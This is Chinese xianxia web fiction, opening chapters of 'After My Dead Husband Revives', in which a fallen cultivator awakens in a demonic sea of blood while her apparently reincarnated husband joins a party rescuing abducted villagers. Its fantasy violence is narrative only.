《亡夫复活之后》
1. 丈夫挂掉了
暴雪翻飞,山脉倾塌。
伴随着山崩地裂的可怖响声,往日巍峨的九嶷山在厮杀中崩碎,轰然砸进雪地中。
高山之巅,女修垂首,眸中漆黑无光。
她看见道侣的身躯在下坠,如断翅的白鹤,如跌落的蝴蝶。
我恨你。
他的遗言仍在耳边萦绕,那双眼中有残余的恨意,但随着气息渐弱,所有鲜活的情绪都消失在瞳孔中,只留下死寂的黑暗。
为证道而弑夫的今夜,楚袖云原本卡在渡劫期的屏障终于碎裂,空中白光垂落,仙乐渺渺,是飞升雷劫将至。
天雷连绵不绝的落下,烧灼着皮肉,摧毁了经脉,人站于天地间,眨眼便成为一具焦黑的骨架,不成人形。
可她是雷灵根。
于她而言,天雷是毁灭,亦是滋养、重塑。
血肉再度生长,紧贴着骨骼和经脉,化作血淋淋的人形。
人形挥剑,体内浩瀚的灵气喷薄而出,伴随着照亮四野的白光,巨大的轰鸣声响彻天地。
身躯一次次被焚毁,又一次次重组血肉。
她的吐息炽热,扬首迎接最后一道雷劫时,在其中觑见了一丝血红。
那是业力所化的心魔劫。
它激发出楚袖云体内的欲望、创伤和执念,繁杂的恶念被天道规则具象化,化作人形,笑声尖锐刺耳。
【心有挂碍,道不通达。】
新诞生的心魔言笑晏晏,一指轻触楚袖云眉心。
她忽而就跌入一片幻境。
幻境里光怪陆离,无数个身影呈现,有她爱的,恨的,被杀死的,与拼命挽留的。
逝者、生者的身影一一浮现,养母、父亲、师父、师姐、道侣......
他们漠然的注视她,如同看见她心底的阴影。
那是阳光照不进的地方,由爱恨嗔痴凝结而成的疮疤,丑陋,阴暗。
“以弑亲证道,是为邪魔。”
她听见无数个人声响起,亦如雷声隆隆。
“邪魔不可飞升!”
她被劈碎了道体,根基尽毁,就此断绝飞升之路。
如永堕地狱。
*
百年后。
“咔...咔擦……”
细微的断裂声若有若无。
“吧嗒...吧嗒……”
一滴滴粘稠的液体降落。
她有些睡不安稳,在梦中皱起眉头。
可很快,皮肤上密密麻麻的符文发出红光,那红光缓缓流向她眉心,如同母亲柔软缱绻的手,将她带入更深的梦境中。
无声。
无光。
黑暗。
静谧。
梦中是一片虚无,却如此温暖。
仿佛蜷缩在母体中,随潮汐起伏,被轻轻托举。
她本该睡着的。
可耳畔又响起断断续续的挤压声。
“咯吱...咯吱……”
那声音越来越大,越来越大,迫使她从沉睡中醒来,慢慢睁开了眼。
可惜无用,睁眼也看不见光。
是四周本就无光。
昏暗的一片,又小又潮湿,她连腿脚都伸不开,好似被蜷成一团锁进箱子里。
这是什么地方?
脑子里后知后觉的窜出这个问题,可惜她才醒来,还有些恍惚,记忆支离破碎的,没法给她答案。
她稍微动弹了一下,手脚踢在一团柔韧的东西上。
?
那东西动了动。
肉吗?
楚袖云这样想到。
然后头顶就裂开了数道缝隙,血水铺天盖地的流下,瞬间盈满整个空间。
她屏气,从一片血水中浮起,终于明白了一点情况。
她似乎是在一条河里。
只不过是血河。
血河里除了她还有别的生物,便是此前困住她的黑箱。
不。
不应该称之为黑箱。
那其实是巨人的手掌。
他通体漆黑,形似一团模糊的人形。其身如山如海般高大,一只手就能将身量极高的楚袖云包住。
此前他就是这样,捏碎了封印楚袖云的木棺,又将她死死握在掌心。
直到她醒来,他才松手,让楚袖云瞧见眼前的境况。
【你终于来了。】
巨人如是说道。
他没有五官,却想注视她。
于是在那虚无的,漆黑的头颅上,忽而裂开一条缝隙。
自缝隙里,长出一只眼睛!
光滑的球体犹如一面镜子,清晰的映出楚袖云的模样。
乌发白颊,身覆鳞甲。
脖颈、脸颊、手掌,所有裸露在外的皮肤上都布满了符文。
红色的、扭曲的文字密密麻麻,如一圈圈锁链,将人死死束缚住。
不愉快,不愉快。
在见到符文的那一秒,楚袖云分明还没意识到发生了什么,心情就不自觉的糟糕起来。
而就在她微微皱眉的间隙,巨人再度伸手抓住她。
他是残缺的魔物。
是贪婪的代名词。
在将人握于掌心,嗅到强大血食的那一刻,便瞬间被食欲冲昏了头脑。
融合.......
与之融合.......
这个念头在脑海催生,令他忽感饥饿。
明明失去了胃,却还是饿到痉挛,饿到疯狂。
恨不得将她生吞!
要深深吞入腹中,融为一体!
被欲望掌控的魔物这样想着,也这样做了。
他黑漆漆的头颅再度裂开,将人倒进“嘴”里。
在血食滚落喉咙的那一秒,神魂与神魂交织,激动的战栗传遍全身,力量一点点盈满,让残缺不全的肉.体疯长!
他已经等太久。
久到日月轮换,桑田变作沧海。
他饥饿的等待,等待数百年,终于等到她的到来。
他们,他们将融为一体,成为无法分割的整体。
然后......
重归人间——
“噗嗤!”
一只手穿透了他的胸膛。
长出血肉的巨人被人从胸口撕开,对方以蛮横的姿态破开血肉,双瞳漆黑,燃起幽幽火焰。
她轻笑一声。
声音含着刚刚苏醒的沙哑。
“什么鬼东西?”
巨人徒劳的张嘴,想发声,可喉口也碎掉了,正朝外飘出血水。
楚袖云还在他体内,在疯狂涌入的血水里,有心和他聊聊:“说起来,你的气息倒是很熟悉。”
“是我认识的人么?”
此女问道,又思忖片刻,没找到答案:“想不起来了。”
大概是哪个没留下名字的手下败将。
算了,不重要。
她将其抛之脑后,尔后跃出胸腔,朝上而去。
她身后,巨人伸出的手一次次扑空。
那虚无的,像是黑洞般的头颅死死望向她,近乎疯狂。
但修士没有停留。
她朝着光亮而去,越来越远,越来越远,随后浮出水面。
“哗啦。”
终于踩在坚实的岸上,也终于看到了血水的全貌。
它在荒野之下,在幽暗的深渊之中。
往上看是陡峭的崖壁和一条横贯千里的裂缝,往下看,是哀嚎遍野
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,白骨森森。
不是河。
是海。
是宽阔的,容纳了数百万尸骸的血海!
其间翻涌着暗红的血水和漆黑的魔气,流动着数不清的枉死冤魂,他们翻滚、哀嚎,伸出森森白骨攀住山石璧上,企图重新爬回人世间。
也真有白骨这样做了。
它五指狰狞,死死抓住楚袖云的腿。
“......”
对方啧了一声,将其一脚踹开。
她总算知道自己在哪了。
*
孽海、血海、业海。
无间血海、万人尸坑......
这片宽阔的海洋有着许多名字。
它在魔域的最深处,是尸坑,是阴煞,是长幽境的核心,也是魔气的诞生之所。
正邪不两立,绝大多数修士终身不会踏进魔域半步,更无从得知此地还有一片罪孽的海洋。
楚袖云也本该如此。
如果不是她曾耗费数年时光,不死不休,最终将仇敌追杀至此,并亲眼见证他的陨落的话。
记忆如血浪拍岸,陡然清晰——
那是在数百年前的某日,她与仇敌厮杀,来到此处。
双方遥遥相望,衣袍在空中猎猎飞舞,仇敌在她眼中看到了冰冷的杀意。
她举剑。
刺目的,厚重的,蕴含着开天辟地般的暴烈能量,在剑身上流淌,咆哮,那道割裂天幕的雷光,向仇敌劈去。
剑与刀相击。
巨大的爆声几乎震碎耳膜,叫人失聪。
那一瞬,天地俱静,万物凝滞,只剩炽热的、极致的雷光,与雷光尽头,那双饱含杀意的眼眸。
血液飞溅,仇敌被斩断双臂,幽幽叹息。
他殒命于此,尸体落入水中,被吞没。
血海。
血红色的海洋。
海洋被余波波及,水浪盘旋,形成红色的漩涡。
漩涡不停转动,不停转动,人看久了,便产生一种错觉,仿佛那个旋涡变作巨大的眼睛,死死注视着她。
彼时的楚袖云凌空俯视,她还不知道,在多年以后,宿命轮转,她也堕入其中。
【……】
【可是……】
一个声音响起,打断楚袖云飘飞的思绪。
是心魔。
曾与她针锋相对的心魔在多年的斗争中落败,于是放弃正面对抗,转为暗中蛰伏,终日以蛇的形态趴在她识海里。
它此时化成漆黑细长的小蛇,在识海里发问:【你有想过,咱们为何会出现在这吗?】
楚袖云:“嗯……没想过。”
心魔质问:【你是说,你掌控了这么久的身体,却完全不记得自己做过什么?】
“忘了。”
楚袖云试图回忆,但飞升失败后的记忆都变得混乱不堪,令她头痛欲裂:“这不是要怪你吗?”
心魔闭嘴了。
这事还真得怪它。
倘若不是它为了夺取楚袖云的身体,终日将她拖进幻境中摧残,楚袖云也不至于记忆混乱成这样。
连自己是怎么来到孽海的都不知道。
【我——】
在心魔略显心虚,正欲开口解释的间隙,楚袖云忽而怔怔垂首,捂住心口。
温热的液体从指缝溢出,心口的伤痕已经裂开,那是道侣在死前捅穿了她的心脏。
原本,以她渡劫大能的实力,只消片刻功夫,便可痊愈。
可紧随其后的雷劫摧毁了她的根基,她做不到引气入体,自然也无法恢复这伤势。
可叹,可叹,竟成废人了。
她在原地停留很久,终于缓了口气来,撑着山崖朝前走去。
2. 丈夫复活了
他又做梦了。
梦里天地一白。
鹅毛般的大雪飘飘洒洒。
他安静的走过倒塌的山峰,看到九嶷山宛如被拦腰斩断的巨人,尸体裂成两半,重重砸进雪中。
是谁劈开了山。
他垂首看到手中染血的长剑:“是我吗?”
名为春雪的本命灵剑无法开口,它只能愤怒的嗡鸣,往外迸发澎湃的杀意,激烈的向它的主人传递情绪。
残余的复仇欲望迫使剑剧烈颤动起来,却无论如何都挑动不起鹤端砚的杀意,他不明白春雪这是怎么了,只是无声的举剑四望,随后便看到了红线。
一条在空中飞舞的红线。
那红线系在他的尾指,瞧上去并非实体,倒更像是灵气凝结而成,猩红似血珠,在雪地上逶迤,蜿蜒向上,最终消失于云海间。
不知为何,在看到那条线后,他的心脏隐隐作痛。
记忆空茫茫,唯有灵魂似被线拴住了,在思绪混乱之际,他近乎本能的想追随那条红线而去。
念头升起的刹那,他飘了起来。
筑基期的修士没法御空飞行,可梦不讲道理,任由他飞过高山,穿过雾凇,最后在寒冷的暴雪中,抵达一扇门前。
门后是什么?
他听到低哑的咳嗽声。
在悄然开启的门后,女修坐在庭院的一角,缓缓抬首看他。
她的面容模糊不清,唯有法衣上的血迹如此鲜艳,刺眼。
鹤端砚的视线落到她的心口,那里正有一道剑伤,流出潺潺血液。
而在她按住伤口的指根上,赫然系着那条红线。
红线……红线……
它宛如蜿蜒流淌的血管,连接着此端与彼端。
即使斩断了,亦如无法分离的骨血般,连绵不绝。
在暴雪中,有人缓缓踱步而来。
她慢声低语,如情人耳鬓厮磨。
“你原来还活着。”
“啪。”
火堆的爆响唤醒了梦中的鹤端砚。
他睁开眼。
那双青色的眼眸像隔着大雾的江面,朦胧得看不真切。
直到倒映出营地内的火光,才渐渐褪去凉意。
“砚哥,不再休息会吗?”
旁边守夜的姑娘小禾抱着膝盖,困得脑袋一点一点,她迷迷糊糊的嘟囔了一句,眼看又要睡过去。
鹤端砚瞧了天色,靛蓝的天幕上,圆月西斜,正是最容易松懈的下半夜,该他换班了:“你去睡吧,到我值夜了。”
小禾含糊的应了一声,拖着步子挪到一旁的干草上,几乎瞬间就睡沉了。
火堆旁清晰的只剩下鹤端砚一人,他习惯性的往火里添了根柴,随后怔怔的盯着那簇金红的火星。
雪地、红线、陌生的女修......
一个没头没尾的梦境,难得让他心绪不宁。
说来也是奇怪,在他短暂的十八年岁月中,他敢肯定自己从未见过那个女修。
可是......
心脏隐隐作痛,留存着一团愤怒的余火,久久无法消散。
他郁郁垂眸,长睫在眼下投出一小片安静的阴影。
火舌跃动,将柔光镀上那张琼花玉貌,如此美丽动人。
而在不远处,一个被捆住手脚的修士正悄悄挪动......
一厘。
两厘。
三......
“你再动弹一下。”
鹤端砚依旧垂着眸,目光甚至没从跳跃的火苗上移开:“就不止打断手脚那么简单了。”
魔修僵在原地,不敢再有动作。
后悔。
此刻他无比后悔。
情绪在心底翻涌,肉.体上的疼痛、精神上的疲惫一并化作迟来的,铺天盖地的懊悔。
他不知是第几次拷问自己:
为什么?
当初为什么鬼迷心窍,要接下祁无城的差事,去正道地盘上掳人。
哦,是因为城中那个管事,他拍着他的肩膀说道:“放心,只要挑没靠山的散修和凡人村落,你就不会有事。做的时候手脚干净点,捞完就回,什么丹药、魔石少不了你的。”
城主府的管事信誓旦旦,重金承诺让他昏了头,当下便准备好了迷魂烟,往正道地盘跑去。
夜里砍柴归来的汉子、溪边浣衣的妇人、还有好几个落单的散修,都被他迷倒了。
人像货物一样被塞进隔绝气息的运输法器里,一批批往魔域里送。
魔修赚得盆满钵满,也没心思去考虑祁无城要这么多活人做什么。
但报应来得很快。
就在他们押送最后一船货时,眼前这个年轻修士与他的两个同伴骤然出现,只一个照面,就把他们这支小队杀个七零八落。
尸体血淋淋的倒地,只留下颤抖跌坐的他。
后续的发展显而易见,魔修为求活命,似倒豆子般把所有事情一五一十的交代个干净。
他说,所有被掳走的人都带进魔域去了。
魔域中有一座城池,叫做祁无城,而这座城池的城主,需要很多的活人。
以前在魔域里抓,现在魔域的人都学精了,抓不到,只能跑到正道地盘上来。
但抓这么多人做什么?
魔修涕泗横流:“我不知道,我也不知道城主他要这些人做什么......仙长!仙长你饶我一命吧!我就是个听令行事的......”
刀剑铿锵入鞘,截断了他的话。
“带路。”
“仙长,什......什么......路?”
“呵。”
他身旁的少女冷笑一声:“自然是去魔域的路。”
魔修在鹤端砚的警告下老实了。
四面再度安静下来,静悄悄的一片密林中,传来衣物摩擦的声音。
鹤端砚循声看去,女修自林中走来,白衣胜雪,纤尘不染。
是秦无漪,三人小队中的最后一位。
她开口:“东南方位,离这不远的一块区域,有灵力残留。”
鹤端砚:“你有什么发现?”
“两个修士。”秦无漪盘膝而坐:“修为大抵在筑基中后期,看其衣着,不像镜城人士......”
“穿着鳞甲......倒像是南海一带的宗门弟子。”她微微思忖,又道:“我观察片刻,发现他们试图追踪某种气息,而且言谈中......提到了失踪村民等字样。”
鹤端砚了悟了:“你觉得他们也是为了镜城附近的失踪案而来的。”
“应当如此。”秦无漪点头称是,目光掠过篝火,投向沙沙作响的林间:“倘若对方是为此而来,有必要邀请他们,一起同行吗?”
鹤端砚一怔,听出了秦无漪潜藏的忧色。
倘若是遵从内心的想法,那他们倒也不介意与对方组队。
但目前的困境在于,魔域危险重重,在座的三位也只是灵力低微的筑基。
以这样的阵容闯入魔域,其中的危险不言而喻,又何必再拖上两条性命。
鹤端砚一时无言。
而秦无漪观他神态,便知晓对方理解自己的忧虑。
她沉吟片刻,问出了一个思虑许久的问题:“此行困难重重,稍有不慎便会性命不保,你与小禾真的考虑清楚了吗?”
深入魔域,势必有性命之忧,她凭一腔正义,愿意舍身赶赴魔域救人,却......
不忍看到同伴遇险。
可她是如此,鹤端砚亦然。
“多我一人,便是多一分助力。”
鹤端砚:“更何况,叶兰驱也在他们手中。”
他口中的叶兰驱也是被掳进魔域中的一员,同时,也是他的徒弟。
秦无漪曾听他说过此事,那还是在十几日之前。
彼时,叶兰驱已经失踪数日,而鹤端砚循着线索来到正邪交界处的某个村子,并在此撞见同样为掳人案而来的秦无漪、小禾二人。
秦无漪乃大宗弟子,出门游历至此,又受村民所托,前来找人。
小禾则与鹤端砚相同,同样身为散修,同样是亲朋好友被掳。
三人互通信息,当下一拍即合,决定同行,寻找凶手。
当时哪里料到,此行的终点是魔域。
鹤端砚垂眸:“我们二人有不得不去的理由,但你不一样。”
他想说,你是受村民委托,自身并无丢失的血脉至亲。
前路九死一生,若为他人之子、他人之夫
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押上性命,代价是否太重。
可话到嘴边,又难以说出口。
鹤端砚心想,倘若今日失踪的不是他的徒弟,那他会退却吗?
必然是不会的。
因为他见不得罪恶当道。
见不得强者将公理踩在脚下,见不得弱者在绝望中湮灭无声,被啃食殆尽。
修真之人,不惧大道漫长,前路艰险,倘若今日有一死,以身殉道,也值得。
二人忽而久久沉默。
期间穿插着柴火偶然爆发的闷响,令一旁熟睡的小禾无意识的蜷缩了一下。
对她而言,这趟九死一生的旅程,与大道无关。
但生命的重量,只有落到每一位亲人的身上,才能品出沉重的一笔。
火堆渐弱,柴薪将尽。
秦无漪起身,仰面望见天光。
“天亮了,走吧。”
——
练气、筑基,视为修道之始。
身处这个阶段的修士,虽然能引气入体,超脱凡俗,但对修为深厚的大能而言,仍旧微小如蝼蚁。
唯有金丹。
金丹一成,方为质变。
莫说御空飞行、神识外放,便是寿命,都能得以延长数百载。
至此,才算真正踏入大道,拥有了立足的资格。
然而,大鹏有大鹏的道,蝼蚁也有蝼蚁之道。
在魔域这片混乱的养蛊地上,修为低微的修士也有自己的保命技巧。
重重树影下,四个筑基穿行而过,他们小心的避开毒藤、妖兽与同类。
修为低微,样貌普通。
御空经过的强大魔修用神识扫了他们一眼,发现是群毫无修炼天赋的废物,连挖根骨的价值都没有,便头也不回的飞走了。
剩下几位同属筑基期的魔修在暗中窥视,犹豫了片刻,也没动手。
都是筑基期,打起来不划算,而且看他们的样子,也不像是兜里有法器的。
没油水可榨取,豁出性命打半天又有什么意思。
这一波人也悄然退去。
但也就是在他们离去之后,原本看似毫无察觉的修士才悄悄松开剑柄。
“这条路我常走,比较安全。”
最前方领路的魔修样子有些狼狈,手脚在动作间迟滞异常,显然是有伤在身。
但他不敢多做停留,一边疾走,一边向身后的三位解释。
他身后的三位组合很是奇妙。
一高一矮两个魔修,样貌平平,不住的观察四周。
唯一的俘虏戴着镣铐,那镣铐上有禁灵咒,将他的修为封死,只能沦为阶下囚。
“最好如此。”矮魔修应道,没给带路的好脸色。
在他身侧走动的高个子魔修更是理都没理他,一门心思放在观察周围。
忽而,“他”低喝一声:“小心!”
同时,右手如电,快速探向腰间,攻击法器瞬间射出,直击右前方。
在那遮蔽视野的树后,一道怒声骤然响起,紧接着跃出两个身着鳞甲的修士,手中符咒如雷:“可恶的魔修!竟敢掳我正道人士!速速将人放开!”
修士们长衣飘飘,投出威力不小的雷符,一人进攻,一人辅助,其目的明确至极,就是为了解救“被掳”的青眸修士。
说实话,矮个子魔修还有点懵,“他”靠了一声,连忙躲开爆炸的雷符。
这一躲闪,那两修士已经无限逼近四人,其中一张符咒击在领头的魔修身上,另一张则与高个子魔修投出的法器相击。
“不是,什么情况?”
矮个子魔修:“你们谁啊?”
“哼!”
其中一位冷哼道:“你听好了!我乃云湖岛弟子陆听澜!今日便是为你们这群魔修而来!快将身后的俘虏放开!”
“师兄说得对!”
另一位修士叶涛掏出一把符篆,愤愤不平:“就是你们这群人在正道兴风作浪对吧!可算是逮到你们了!”
“......”
听到这话,除却被雷符击中的魔修以外,剩余的三人默默对视,脸上露出几丝微妙。
他们沉默片刻,最终还是高个子魔修站了出来。
“长黎山秦无漪,向二位道友问好。”
3. 凤凰真血
黄沙漫漫,野草萋萋。
在萧瑟的秋风中,红日缓慢的西斜,将落未落,坠向荒野。
荒野在魔域中,被夹在长幽境与大邑境之间,是资源匮乏的不毛之地。
素日少人。
而今日,在天地寂静中,在沙石与苍穹相接的尽头,忽而出现一个黑点。
黑点背光而来。
起初极小,看不真切。
而后随着时间的推移,黑点越发靠近,终于清晰的呈现在人的视野中。
那是个修士。
一个身穿黑衣的修士。
她身量极高,肉眼望去,大抵有八尺,其面覆红文,胸前许是受伤,正裹着不知从哪里撕下的布条,呈垂眸出神之态。
一步。
两步。
三步。
她抬脚,脚步落地——
风毫无预兆的止息了。
荒野上最后一缕温度消散,黑暗划过大地的瞬间,空中悄无声息的出现三道黑影。
脖颈、后心、腰侧。
长刀角度刁钻,奋力劈下时发出细微的,令人牙酸的嗡鸣,只待命中敌人,便可瞬间将其切成碎块!
可是——
“咔擦!”
黑影瞳孔骤缩。
令人震惊的一幕发生了!
那三把长刀竟炸成了漫天碎片!
它们没有击中她吗?
不。
击中了!
只是刀身接触女修的刹那间,就被恐怖的反震摧毁,化为齑粉四溅。
难言的恐惧摄上心头,在暗处操控傀儡袭击的黑袍人冷汗涔涔,忘却了呼吸。
那是什么力量?
是灵力凝结而成的护盾吗?
不不不,他观察了半天,这个女修身上根本就没有灵力!
寻常修士修行打坐时,四周的灵气或魔气会如泉水般涌入他们体内,而后再运转周天,将力量吸收,存入丹田。
可这个女修,这个女修她根本就没法引气入体!就连偶尔自发流入其身躯的魔气,都会立马漏光。
何意味?
简单来说,就是她的根基出了问题!被完全摧毁了!而身体更是千疮百孔,才存不住魔气,只能任由其消散。
那么为什么!
一个根基尽毁,身躯破碎不堪的人,还能产生这么大的威力?
他脑子浑浑噩噩,早已想不到答案。
而女修本人呢?
轻描淡写的出手,精准的扣住了傀儡的脖颈。
“咔擦。”
清脆的骨裂声传来,傀儡被掐断脖颈,又倒飞出去,击碎在黑袍人躲藏的巨石前。
他的金丹傀儡!
黑袍人大骇,连忙催动邪咒,驱使其余两个傀儡进攻。
其中一人化掌为爪,直取心脏。另一人的袖中滑出淬毒匕首,闪到后方点向她后心。
毒杀?
倒是个好办法。
挺聪明的。
被围攻的女修颇感有趣,她闪身躲过后背攻击,又以爪对爪,碾碎傀儡的指骨。
三人脚步腾挪,霎时烟尘四起,掩盖住重重身影。
“嘭。”
不过几个呼吸间,就有身影被踢飞,腾空砸在逃跑的黑袍人跟前。
对方动作微僵,身后已经响起脚步落地的声音。
他转身,被阴影完全笼罩。
“我看起来像个软柿子吗?”
此人的手与玄铁无异,掐住黑袍人。
回想过往,饶是楚袖云本人也忍不住幽幽叹息:“什么阿猫阿狗都要踩我一脚。”
这是她苏醒的第七天,也是离开孽海的第七日。
这七天里,她经历了包括黑袍人在内的,共计十八场战斗。
有的想吞噬生魂、有的想将人扒皮制成符篆、还有的见她满身符文,口里喊着什么高阶邪咒妙哉妙哉的,就要冲过来抓她。
说实话,还挺烦人。
但也不是没好处,最起码,楚袖云得到了一堆疗伤丹药。
虽然补不了根基,但也能压制伤势一二。
“呃——”
黑袍人面容青紫,几欲窒息而亡。
在被扼住喉咙的那一刻,他感受到了一股庞大的、近乎恐怖的力量。
那是楚袖云被雷劫淬炼过的躯体,其坚硬、沉重,身体力量几乎达到巅峰,只消轻轻一扭,便可让他殒命于此。
他总算是明白过来。
“炼……炼体大成……”
众所周知,修士主要分为体修和法修两大类。
法修侧重灵气,在对敌或者抵抗雷劫时,常以灵气护体,本身的肉身强度并不大。
而体修,侧重锤炼肉身,全是力能扛鼎,钢筋铁骨的怪物!
他们炼体小成时,可硬抗普通法器的攻击。
而炼体大成时,几乎能对刚元婴期大圆满的法修。
难怪……难怪……
轻而易举的就打死了他三个金丹傀儡。
自己竟会在这种地方遇到元婴强者。
可恶,不想死!不想死啊!
黑袍人拼命从牙缝里挤出几个字:“前……前辈……饶命……”
“哦?”
那家伙挑了挑眉,显然是想看看他还能说些什么。
“前辈受了伤吧……呃——”
黑袍人一句话没说完,脖子就又被死死掐住。
他上气不接下气,拼命的抓挠那只手臂:“我有办法!我有办法!”
哐当。
他落在地上,撕心裂肺的咳嗽起来。
但死亡的阴影依旧笼罩在人头顶上方,他喘过气来,立马说道:“我知道哪里有疗伤圣物。”
“在大邑境内有一座城池,叫祁无城,城中的一件秘宝,可活死人,肉白骨,十分稀有难寻。”
“是吗?”
女修轻笑。
“是!是!”黑袍人见她肯听,如抓住救命稻草般,语速飞快:“那秘宝在城主手里,藏得极深,但我能助您一臂之力!”
他说完,喘了口气,偷偷观察女修表情。
不料一抬眼,就猝不及防的与那似笑非笑的眼睛对上,被吓得一抖:“我所说的句句属实,前辈请信我!”
“我的信息来源绝对可靠,因为——”
他掀开黑袍,露出一张苍白的少年脸庞:“上一任城主是我父亲。”
“他的手下食心魔,在三百多年前杀死了他和我母亲,并夺走城主之位。”
少年岁数四百有余,按照修真界的年龄来算确实不算大,他自报家门,说自己叫石野,一介金丹修士,并取出一块传送玉牌献上。
“我虽侥幸不死,但也只能终日在荒野上
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流亡。今日被前辈擒获,愿意带您去城中夺取秘宝。”
传送令牌是少数几个不需要灵力、魔气驱动的法宝,只要在使用时提供灵石和魔晶,便可激活内置的传送阵法。
该说不说,石野倒是机灵,明明看出她没有灵力,却不直说,生怕触她眉头。
不过......
他说这番话的目的,除了保命,兴许还有点别的小心思。
被城主杀死双亲,被城主逼得四处流亡……
血海深仇啊。
“你不会是想骗我做你的刀子,行驱虎吞狼之计吧?”
她的话里含着淡淡笑意。
一句话,令石野如坠冰窟,战栗颤抖不止。
他确实有坐山观虎斗的意思,但被人点出来了,又怎敢承认?
“并非如此。”
他还不知道自己的脸色有多糟糕,笑起来勉强得要死:“前辈如果不信的话,我可以立天道誓,绝不会背叛、违抗和暗害您。”
天道誓以天道为证,是最具约束力的誓言,一旦违抗,轻则有损道基气运,重则身死道消。
少年也算是展现诚意了。
不过楚袖云才懒得管他的小心思,她只问道:“为何杀我。”
!
好问题。
一个问题就让石野冷汗涔涔。
这该怎么回答呢?
他支支吾吾,又不敢不说,忐忑的将目光落在女修面上的红文,道:“因为……您身上的邪咒……”
邪咒吗……
楚袖云抱臂:“继续。”
那肌理流畅的手臂环在胸前,此人身量比石野高出不少,几近完全挡住晦暗的天光,将他彻底笼罩在沉重的阴影中。
压迫感十足。
“我是个法修,对邪咒也有点研究。”
石野战战兢兢:“这应该是来自太巫境的邪咒,名为牵机咒,是一种摧毁修士神智,把肉身炼成傀儡的咒语。”
“但是......又有点差别……”
他说到此处,露出疑惑的表情:“普通的人傀邪咒会直接搅碎修士的神魂,这个……应该是有做过修改……更温和……”
楚袖云笑:“这么说来,我还得感谢他?”
!
他可没说过!
石野飞速的低下头,心里恨不得打烂自己的嘴,彻底不说话了。
一方面是害怕说错,另一方面嘛,是他感受到了冰冷的杀意。
似乎在得知了邪咒的来源后,楚袖云就生出了难以抑制的、清晰的杀意。
【是太巫!】
【肯定是他!】
石野不会听到,在楚袖云的识海中,有一道无比愤怒,杀意重重的嘶声。
太巫。
何许人也?
乃太巫境的主人,太巫魔君是也。
于常人而言,他是恐怖的魔君,令人胆寒的强者。
但对楚袖云来说……
是仇人。
还是个令她既恨既惧,厌恶又愤怒的仇人。
心魔压不住心中邪火,丧失了往日的从容:【那个老不死的!我迟早弄死他!】
楚袖云的心情也很糟糕,她失了谈性,起身以魔晶催动传送玉牌。
在法阵亮起的那一刻,忽而想起:“你说的秘宝是什么?”
“凤凰真血。”
4. 救援小队
“居然是长黎山的道友。”
相互确认了命牌后,来自南海的两个修士面色赧然,羞愧得几乎要钻进地缝中。
尴尬。
太尴尬了。
大喊着什么慷慨陈词,结果一符篆打到同道身上。
陆听澜这辈子还没这么社死过。
他苦笑着道歉,对面的三个道友倒是很淡然。
嗯……
因为唯一一个受伤的,是被他们抓住的魔修李二。
此时正倒在一旁,双眼无神,犹如行尸走肉。
鹤端砚等人自然是没理他,与陆听澜他们互通了消息。大家目的一致,很快便达成共识,决定一起行动。
于是乎,原本的四人增到六人,由魔修打头,其余人跟在后面商量营救计划。
“我们原定的计划是兵分两路,我与漪姐在城内观察,摸清城中的布防,寻找一条比较安全的撤退路线,至于砚哥嘛……”
小禾侧身,向二人展示鹤端砚,鹤端砚此时手戴镣铐,一身俘虏打扮。
“我懂了。”陆听澜明白过来,“鹤道友就负责找到关押地点。”
“对。”秦无漪点头,“根据李二的口供,我们得知,那些被掳走的人全部被送进了城主府,但具体地点不得而知。”
鹤端砚:“所以等我进入城主府后,会摸清地牢位置和府内布防,再传讯告诉你们。”
至于下一步,就是由秦无漪一方潜入,接应鹤端砚。
计划有些简陋,但考虑到事态紧急,那些被抓进魔域的人目前的处境并不乐观,他们也只能按照这个计划来。
“可惜了。”陆听澜也知道没有更好的办法,他感慨道:“倘若有时间,我等也不至于这般仓促。”
其实大家都明白,如果不是时间紧张的话,这次救援行动的准备会充分很多。
可惜没有如果。
秦无漪微微思忖,开口:“倘若到时出现意外,我想请二位在府邸的另一侧制造动静,把守卫吸引过去。”
她强调道:“无需涉险,你们事先把符篆布置在角落,远程催动就行。”
此计,便是调虎离山。
“这招针对守卫还可以,毕竟他们都是练气、筑基。”陆听澜再度提出问题:“若有金丹境的长老驰援呢?”
他摇头:“且不谈打不打得过的问题,对方神识一放,我们不就全暴露了吗?”
魔修李二被抓获多日,早就把他知道的消息吐个一干二净,其中就包括了城主府内有三位金丹长老的消息。
这也是陆听澜仍不放心的原因。
他这话确实在理,但在座的各位又有哪个是不清楚的呢?
“没办法啊。”小禾叹着气:“咱们只能尽量快,以快制胜,在所有人没反应过来之前,就偷偷逃出去。”
她左右望了望大家的表情,决定给他们加油打气:“我觉得,咱们能逃出去的可能性很大!”
她笑起来脸颊旁有个梨涡,甜滋滋的:“毕竟打的就是信息差嘛!他们也不知道我们要行动啊,对此肯定没有防范,我们只要不惊动人,就一定能逃出去的!”
伙伴们闻听此言,紧皱的眉头稍稍散开,微笑点首后,继续商量细节。
在不知不觉中,他们抬头,已经能远远的觑见那座如巨兽匍匐的城池。
黄昏。
残阳如血,照得窗纸通红。
客栈外的街角,爆发一阵狂热的笑声。
“再来!再来!活撕了他!”
沸腾的人声惊动客栈内的修士,有人站在窗口,看到偏僻的街角处,两个魔修正在缠斗,使出浑身解数杀死对方。
鲜血喷溅在墙壁上,新血覆盖旧血,令围观的魔修们发出阵阵欢呼与哄笑。
“唰。”
纱帘垂下,盖住一地血色。
石野哂笑:“许久没来,这儿倒是一点变化都没有。”
他的神情似讥似讽,但话头落到地上,根本没人回应。
此人困惑转首,见楚袖云斜卧榻上,垂眸不知在想些什么。
“凤凰真血……”
她的声音很轻,似乎只是喃喃。
石野当然不会觉得,她不清楚什么是凤凰真血。
毕竟那可是世间至宝,是凤凰的本源力量。
凤凰真血的原身,可以追溯到天地初开之时,在此间世界诞生的上古神兽凤凰一族。
它们有与生俱来的血脉传承,随着年岁渐长,渐渐的,会修炼出本命真血。
那真血色泽如金,内蕴涅槃法则,可活死人,肉白骨,令修士重生,令凡人逆天改命。
哪怕是如今魔域的四位魔君,都会为此垂涎争夺。
可是……
她的态度有些微妙。
石野悄悄的观察楚袖云。
没急着潜入城主府寻找真血下落,反而寻了间客栈下脚,又在此待半天,不见有所行动,看起来颇为懒怠。
这是为何?
石野不解。
而榻上的楚袖云,在出神的间隙中,被心魔单方面骚扰。
心魔:【你不会真的觉得这小破城里有凤凰真血吧
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?】
楚袖云不语。
它便甩甩尾巴,显出几分不屑来:【凤凰都灭绝多少年了,哪来的真血?】
【就算有,也不会那么巧合,被什么元婴期的蝼蚁拿到手。】
